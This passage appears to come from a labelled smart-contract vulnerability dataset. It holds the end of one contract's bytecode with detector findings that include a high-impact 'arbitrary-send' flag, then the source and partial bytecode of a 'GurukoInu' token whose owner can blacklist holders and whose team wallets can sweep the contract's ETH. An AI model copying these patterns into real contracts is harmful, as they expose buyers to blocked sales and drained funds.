092509193909250565b6000803373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156112bd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561131b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e856040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156113c357600080fd5b5af115156113d057600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff16141515156113fd57600080fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b9186d7d856040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561148f57600080fd5b5af1151561149c57600080fd5b505050604051805190501115156114b257600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b9186d7d846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561154257600080fd5b5af1151561154f57600080fd5b505050604051805190509150600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156115eb57600080fd5b5af115156115f857600080fd5b50505060405180519050905061160f838383611614565b505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561166c57600080fd5b60008211151561167b57600080fd5b6000600a60008581526020019081526020016000205414151561169d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff166009600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561170b57600080fd5b806009600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a600085815260200190815260200160002081905550600880548060010182816117899190612692565b916000526020600020900160008590919091505550505050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156117fe57600080fd5b6000600781905550565b6118106126be565b6118186126be565b6000836040518059106118285750595b90808252806020026020018201604052509150600090505b8381101561188e57600881860181548110151561185957fe5b906000526020600020900154828281518110151561187357fe5b90602001906020020181815250508080600101915050611840565b819250505092915050565b6118a16126be565b6118a96126be565b6000806118b585611ad3565b6040518059106118c25750595b9080825280602002602001820160405250925060009150600090505b60088054905081101561198c578473ffffffffffffffffffffffffffffffffffffffff1661192560088381548110151561191457fe5b9060005260206000209001546119b1565b73ffffffffffffffffffffffffffffffffffffffff16141561197f5760088181548110151561195057fe5b906000526020600020900154838381518110151561196a57fe5b90602001906020020181815250506001820191505b80806001019150506118de565b829350505050919050565b60006119aa6119a583611f53565b61230f565b9050919050565b60006009600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000611a176064611a096050856125fc90919063ffffffff16565b61263790919063ffffffff16565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611a7957600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000806000809150600090505b600880549050811015611b59578373ffffffffffffffffffffffffffffffffffffffff16611b27600883815481101515611b1657fe5b9060005260206000209001546119b1565b73ffffffffffffffffffffffffffffffffffffffff161415611b4c5781806001019250505b8080600101915050611ae0565b8192505050919050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611bbb57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611c1257600080fd5b565b60003373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611c7157600080fd5b600090505b8151811015611dad576000600a60008484815181101515611c9357fe5b906020019060200201518152602001908152602001600020541180611d7557506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b9186d7d8484815181101515611d0157fe5b906020019060200201516040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515611d5c57600080fd5b5af11515611d6957600080fd5b50505060405180519050145b15611d7f57611da0565b611d9f8282815181101515611d9057fe5b9060200190602002015161125f565b5b8080600101915050611c76565b5050565b611db961267e565b6040805190810160405280600381526020017f4557580000000000000000000000000000000000000000000000000000000000815250905090565b611dfd816119b1565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e3657600080fd5b611e41338383612420565b5050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e9d57600080fd5b600081111515611eac57600080fd5b600160006009600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f3757600080fd5b80600a6000848152602001908152602001600020819055505050565b6000600a6000838152602001908152602001600020549050919050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611fca57600080fd5b600090505b8484905081101561200657611ff98585838181101515611feb57fe5b905060200201358484611614565b8080600101915050611fcf565b5050505050565b60008060008060008060008060006120248a611f53565b11151561203057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff166120518a6119b1565b73ffffffffffffffffffffffffffffffffffffffff161415151561207457600080fd5b61207d89611f53565b341015151561208b57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166120ab8a6119b1565b73ffffffffffffffffffffffffffffffffffffffff16141515156120ce57600080fd5b6120d733612652565b1515156120e357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561211f57600080fd5b600060075411151561213057600080fd5b612139896119b1565b975033965061214789611f53565b9550600b60008a8152602001908152602001600020549450612172863461266590919063ffffffff16565b935061217f88888b612420565b61218889611997565b925082600a60008b815260200190815260200160002081905550858303915081600b60008b8152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff16897fd2728f908c7e0feb83c6278798370fcb86b62f236c9dbf1a3f541096c2159040886040518082815260200191505060405180910390a38773ffffffffffffffffffffffffffffffffffffffff16897f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d7886040518082815260200191505060405180910390a3612266856119ee565b90508773ffffffffffffffffffffffffffffffffffffffff166108fc612295838961266590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015156122ba57600080fd5b6000841115612304578673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050151561230357600080fd5b5b505050505050505050565b600060035482101561234957612342606461233460c8856125fc90919063ffffffff16565b61263790919063ffffffff16565b905061241b565b6004548210156123815761237a606461236c6096856125fc90919063ffffffff16565b61263790919063ffffffff16565b905061241b565b6005548210156123b9576123b260646123a46082856125fc90919063ffffffff16565b61263790919063ffffffff16565b905061241b565b6006548210156123f1576123ea60646123dc6078856125fc90919063ffffffff16565b61263790919063ffffffff16565b905061241b565b612418606461240a606e856125fc90919063ffffffff16565b61263790919063ffffffff16565b90505b919050565b61242981610aa7565b151561243457600080fd5b8273ffffffffffffffffffffffffffffffffffffffff16612454826119b1565b73ffffffffffffffffffffffffffffffffffffffff1614151561247657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156124b257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156124ed57600080fd5b816009600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600c600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008060008414156126115760009150612630565b828402905082848281151561262257fe5b0414151561262c57fe5b8091505b5092915050565b600080828481151561264557fe5b0490508091505092915050565b600080823b905060008111915050919050565b600082821115151561267357fe5b818303905092915050565b602060405190810160405280600081525090565b8154818355818115116126b9578183600052602060002091820191016126b891906126d2565b5b505050565b602060405190810160405280600081525090565b6126f491905b808211156126f05760008160009055506001016126d8565b5090565b905600a165627a7a72305820bb86df7715b5edf4fa6ddbefc6eb9b1179bf48cadba2728756255ab8d7486ec00029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,435
0x2474898334cdeeddbb02df3168db3f4dfca9c746
/** *Submitted for verification at Etherscan.io on 2021-09-25 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GurukoInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "GurukoInu t.me/GurukoInu"; string private constant _symbol = "GurukoInu"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 6; uint256 private _redisfee = 2; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 6; _redisfee = 2; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (120 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function limittx(uint256 maxTxPercent) external { require(_msgSender() == _teamAddress); require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**5); emit MaxTxAmountUpdated(_maxTxAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102dd578063bd7a80a9146102fd578063c3c8cd801461031d578063c9567bf914610332578063dd62ed3e1461034757600080fd5b8063715018a61461024e5780638da5cb5b1461026357806395d89b411461028b578063a9059cbb146102bd57600080fd5b8063313ce567116100d1578063313ce567146101db5780635932ead1146101f75780636fc3eaec1461021957806370a082311461022e57600080fd5b806306fdde031461010e578063095ea7b31461016657806318160ddd1461019657806323b872dd146101bb57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601881527f477572756b6f496e7520742e6d652f477572756b6f496e75000000000000000060208201525b60405161015d9190611968565b60405180910390f35b34801561017257600080fd5b506101866101813660046117ef565b61038d565b604051901515815260200161015d565b3480156101a257600080fd5b50678ac7230489e800005b60405190815260200161015d565b3480156101c757600080fd5b506101866101d63660046117ae565b6103a4565b3480156101e757600080fd5b506040516009815260200161015d565b34801561020357600080fd5b506102176102123660046118e7565b61040d565b005b34801561022557600080fd5b5061021761045e565b34801561023a57600080fd5b506101ad61024936600461173b565b61048b565b34801561025a57600080fd5b506102176104ad565b34801561026f57600080fd5b506000546040516001600160a01b03909116815260200161015d565b34801561029757600080fd5b50604080518082019091526009815268477572756b6f496e7560b81b6020820152610150565b3480156102c957600080fd5b506101866102d83660046117ef565b610521565b3480156102e957600080fd5b506102176102f836600461181b565b61052e565b34801561030957600080fd5b50610217610318366004611921565b6105c4565b34801561032957600080fd5b5061021761068e565b34801561033e57600080fd5b506102176106c4565b34801561035357600080fd5b506101ad610362366004611775565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061039a338484610a86565b5060015b92915050565b60006103b1848484610baa565b61040384336103fe85604051806060016040528060288152602001611b54602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fbc565b610a86565b5060019392505050565b6000546001600160a01b031633146104405760405162461bcd60e51b8152600401610437906119bd565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461047e57600080fd5b4761048881610ff6565b50565b6001600160a01b03811660009081526002602052604081205461039e9061107b565b6000546001600160a01b031633146104d75760405162461bcd60e51b8152600401610437906119bd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061039a338484610baa565b6000546001600160a01b031633146105585760405162461bcd60e51b8152600401610437906119bd565b60005b81518110156105c0576001600a600084848151811061057c5761057c611b04565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105b881611ad3565b91505061055b565b5050565b600c546001600160a01b0316336001600160a01b0316146105e457600080fd5b600081116106345760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610437565b610653620186a061064d678ac7230489e80000846110ff565b9061117e565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b600c546001600160a01b0316336001600160a01b0316146106ae57600080fd5b60006106b93061048b565b9050610488816111c0565b6000546001600160a01b031633146106ee5760405162461bcd60e51b8152600401610437906119bd565b600f54600160a01b900460ff16156107485760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610437565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107843082678ac7230489e80000610a86565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107bd57600080fd5b505afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f59190611758565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561083d57600080fd5b505afa158015610851573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108759190611758565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108bd57600080fd5b505af11580156108d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f59190611758565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109258161048b565b60008061093a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561099d57600080fd5b505af11580156109b1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109d6919061193a565b5050600f8054671bc16d674ec8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a4e57600080fd5b505af1158015610a62573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c09190611904565b6001600160a01b038316610ae85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610437565b6001600160a01b038216610b495760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610437565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c0e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610437565b6001600160a01b038216610c705760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610437565b60008111610cd25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610437565b6000546001600160a01b03848116911614801590610cfe57506000546001600160a01b03838116911614155b15610f5f57600f54600160b81b900460ff1615610de5576001600160a01b0383163014801590610d3757506001600160a01b0382163014155b8015610d515750600e546001600160a01b03848116911614155b8015610d6b5750600e546001600160a01b03838116911614155b15610de557600e546001600160a01b0316336001600160a01b03161480610da55750600f546001600160a01b0316336001600160a01b0316145b610de55760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610437565b601054811115610df457600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610e3657506001600160a01b0382166000908152600a602052604090205460ff16155b610e3f57600080fd5b600f546001600160a01b038481169116148015610e6a5750600e546001600160a01b03838116911614155b8015610e8f57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ea45750600f54600160b81b900460ff165b15610ef2576001600160a01b0382166000908152600b60205260409020544211610ecd57600080fd5b610ed8426078611a63565b6001600160a01b0383166000908152600b60205260409020555b6000610efd3061048b565b600f54909150600160a81b900460ff16158015610f285750600f546001600160a01b03858116911614155b8015610f3d5750600f54600160b01b900460ff165b15610f5d57610f4b816111c0565b478015610f5b57610f5b47610ff6565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fa157506001600160a01b03831660009081526005602052604090205460ff165b15610faa575060005b610fb684848484611349565b50505050565b60008184841115610fe05760405162461bcd60e51b81526004016104379190611968565b506000610fed8486611abc565b95945050505050565b600c546001600160a01b03166108fc61101083600261117e565b6040518115909202916000818181858888f19350505050158015611038573d6000803e3d6000fd5b50600d546001600160a01b03166108fc61105383600261117e565b6040518115909202916000818181858888f193505050501580156105c0573d6000803e3d6000fd5b60006006548211156110e25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610437565b60006110ec611375565b90506110f8838261117e565b9392505050565b60008261110e5750600061039e565b600061111a8385611a9d565b9050826111278583611a7b565b146110f85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610437565b60006110f883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611398565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061120857611208611b04565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561125c57600080fd5b505afa158015611270573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112949190611758565b816001815181106112a7576112a7611b04565b6001600160a01b039283166020918202929092010152600e546112cd9130911684610a86565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113069085906000908690309042906004016119f2565b600060405180830381600087803b15801561132057600080fd5b505af1158015611334573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b80611356576113566113c6565b6113618484846113e9565b80610fb657610fb660066008556002600955565b60008060006113826114e0565b9092509050611391828261117e565b9250505090565b600081836113b95760405162461bcd60e51b81526004016104379190611968565b506000610fed8486611a7b565b6008541580156113d65750600954155b156113dd57565b60006008819055600955565b6000806000806000806113fb87611520565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061142d908761157d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461145c90866115bf565b6001600160a01b03891660009081526002602052604090205561147e8161161e565b6114888483611668565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114cd91815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e800006114fb828261117e565b82101561151757505060065492678ac7230489e8000092509050565b90939092509050565b600080600080600080600080600061153d8a60085460095461168c565b925092509250600061154d611375565b905060008060006115608e8787876116db565b919e509c509a509598509396509194505050505091939550919395565b60006110f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fbc565b6000806115cc8385611a63565b9050838110156110f85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610437565b6000611628611375565b9050600061163683836110ff565b306000908152600260205260409